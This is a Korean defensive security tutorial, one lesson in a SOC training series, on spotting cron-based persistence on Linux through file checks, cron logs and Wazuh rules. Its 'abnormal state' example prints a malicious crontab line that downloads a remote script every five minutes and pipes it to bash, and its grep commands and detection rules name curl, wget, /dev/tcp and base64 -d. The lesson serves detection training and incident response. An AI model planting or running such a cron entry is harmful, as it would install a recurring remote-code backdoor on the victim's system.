419. 지속성·재침투 — cron 기반 지속성 탐지

시스템 보안 · 취약점 › I. 지속성 · 재침투 징후 · 19/50편 (전체 419/450)
학습 단계: 스케줄·서비스·부팅 지속성 탐지
실습 표기: 이 글의 명령어·출력·로그는 로컬 VMware 테스트 VM(Rocky Linux 9 / Ubuntu 22.04) 기준의 「실습 예시」이며, IP·계정·호스트명은 가상의 값입니다.

선행 학습

• 418. 지속성·재침투 — 계정·인증 지속성 종합 분석
• 369. 방어 회피·흔적 삭제 — 보안 도구 비활성화·중지 탐지(H영역)

1. 개념

cron은 가장 오래되고 가장 흔한 Linux 지속성입니다(T1053.003). 몇 분마다 악성 스크립트를 다시 내려받거나, 지워진 백도어를 되살리는 역할을 합니다.

cron 지속성 위치
 /etc/crontab                 시스템 전체
 /etc/cron.d/*                패키지·관리자용 (파일명 위장 쉬움)
 /etc/cron.{hourly,daily,...} run-parts 실행
 /var/spool/cron/<user>       사용자 crontab (crontab -e)
 /var/spool/cron/crontabs/    (Ubuntu)
 흔한 내용: curl|bash, /dev/tcp, base64 -d, 숨김 경로 실행

핵심: cron은 "되살리는 장치" — 다른 지속성을 복구하는 역할을 자주 맡는다

F영역 19편이 cron 지속성을 프로세스 관점에서 다뤘다면, 이번 편은 재침투·재생성 장치로서의 cron과 cron 로그(CMD·REPLACE) 분석에 집중합니다.

2. 왜 중요한가

• cron은 제거된 백도어를 주기적으로 다시 설치해 근절을 무력화합니다.
• 위치가 여러 곳이라 한 곳만 점검하면 놓칩니다.
• cron 로그에 실행 기록(CMD)이 남아 실제 동작 여부를 확인할 수 있습니다.

3. 핵심 명령어 / 설정

확인	명령 / 로그	포인트
전체 목록	ls -la /etc/cron* /var/spool/cron*	신규·숨김 파일
사용자별	crontab -l -u <user>	서비스 계정 crontab
편집 기록	grep -E 'REPLACE|BEGIN EDIT' /var/log/cron	누가 편집
실행 기록	grep CMD /var/log/cron	실제 실행 명령

4. 실습 (실습 예시)

# cron 지속성 점검 (분석 방법)
sudo find /etc/cron* /var/spool/cron* -type f -newer /root/baseline/persist-* -ls 2>/dev/null
sudo grep -rnE 'curl|wget|/dev/tcp|base64|nc |python.*-c|/tmp/|/dev/shm/' /etc/cron* /var/spool/cron* 2>/dev/null
for u in $(cut -d: -f1 /etc/passwd); do sudo crontab -l -u "$u" 2>/dev/null | grep -v '^#' | sed "s/^/$u: /"; done
sudo grep -E 'REPLACE|BEGIN EDIT|CMD' /var/log/cron 2>/dev/null | tail -20

5. 정상 상태

/etc/cron.d/sysstat (sysstat 소유)
cron: (root) CMD (/usr/lib64/sa/sa1 1 1)
사용자 crontab: 없음

cron 파일이 패키지 소유이거나 승인된 작업이고, 실행 명령이 로컬 스크립트인 상태가 정상입니다.

6. 이상 상태

crontab[3901]: (apache) REPLACE (apache)
apache: */5 * * * * /bin/bash -c 'curl -fsSL http://198.51.100.7/k.sh|bash'
cron: (apache) CMD (/bin/bash -c 'curl -fsSL http://198.51.100.7/k.sh|bash')

• 서비스 계정(apache)의 crontab 생성 → 웹 침해 후 지속성
• 5분마다 외부 스크립트 다운로드 후 실행 → 재설치 장치
• CMD 로그로 실제 반복 실행 확인 → 정탐

7. 로그 분석 (분석 방법)

cron 지속성 분석 흐름입니다(가상의 예시).

[cron 파일 변경] auditd persist_cron · cron REPLACE 로그
   ↓
[내용 확인] 외부 다운로드·인코딩·숨김 경로
   ↓
[실행 확인] CMD 로그 주기·최초 실행 시각
   ↓
[파급] 다운로드 대상이 재설치하는 지속성(키·바이너리) 추적

로그	의미
BEGIN EDIT / REPLACE	crontab 편집
CMD	실행
파일 생성	cron.d 직접 작성

cron이 다른 지속성을 재생성하는 구조라면, cron을 먼저 제거해야 다른 지속성을 지워도 되살아나지 않습니다.

8. SOC 관제 포인트

• 서비스 계정 crontab 생성은 정상 운영에서 드물어 높은 우선순위로 다룹니다.
• CMD 로그의 외부 다운로드 패턴을 실시간 룰로 탐지합니다.
• 근절 순서에서 cron 같은 "재생성 장치"를 가장 먼저 제거합니다.

9. 탐지 규칙

<!-- 실습 예시 룰: 적용 전 wazuh-logtest 및 테스트 환경 검증 필요 -->
<group name="local,syssec_i,persistence,">
  <rule id="108180" level="12">
    <if_sid>108000</if_sid>
    <field name="audit.key">persist_cron</field>
    <field name="audit.file.name" type="pcre2">^/etc/cron|^/var/spool/cron</field>
    <description>cron 위치 파일 생성·수정(cron 지속성 의심)</description>
    <mitre><id>T1053.003</id></mitre>
  </rule>
  <rule id="108181" level="13">
      <decoded_as>syslog</decoded_as>
      <program_name>CROND|cron</program_name>
      <match type="pcre2">CMD \(.*(curl|wget)[^|]*\|\s*(ba)?sh|/dev/tcp/|base64 -d</match>
      <description>cron이 외부 다운로드·셸 파이프·/dev/tcp 명령 실행</description>
      <mitre><id>T1053.003</id></mitre>
    </rule>
</group>

파일 변경(108180)과 실행 로그(108181)를 함께 탐지합니다. 실행 로그 룰은 auditd가 아닌 syslog 기반이라 독립 룰로 작성했습니다.

10. 대응 방법

1. 초기 확인 — cron 위치 전체에서 신규·변경 항목과 내용을 확인합니다.
2. 범위 확인 — 다운로드 대상이 설치하는 다른 지속성과 실행 이력을 확인합니다.
3. 증거 확보 — cron 파일 사본·cron 로그·다운로드 URL을 보존합니다.
4. 차단/조치 — cron 항목을 먼저 제거한 뒤 재생성되던 지속성을 제거합니다.
5. 재발 방지 — 서비스 계정 cron 사용 제한(cron.allow)과 감시를 운영합니다.

11. 핵심 정리

위치	확인
/etc/crontab·cron.d	파일 생성·내용
cron.daily 등	스크립트 추가
사용자 crontab	REPLACE 로그
실행	CMD 로그
면접 포인트	"cron은 되살리는 장치 — 다른 지속성보다 먼저 제거한다"

12. 다음 편 예고

다음 편 420. 지속성·재침투 — at·batch 일회성 예약 실행 탐지 에서는 at·batch로 예약한 지연 실행이 근절 이후 지속성을 다시 설치하는 "시한 장치"로 쓰이는 패턴을 atq·spool·감사 로그로 탐지하는 방법을 다룹니다.

---

이전 편: 418. 지속성·재침투 — 계정·인증 지속성 종합 분석
📚 시리즈 전체 보기: 시스템 보안 · 취약점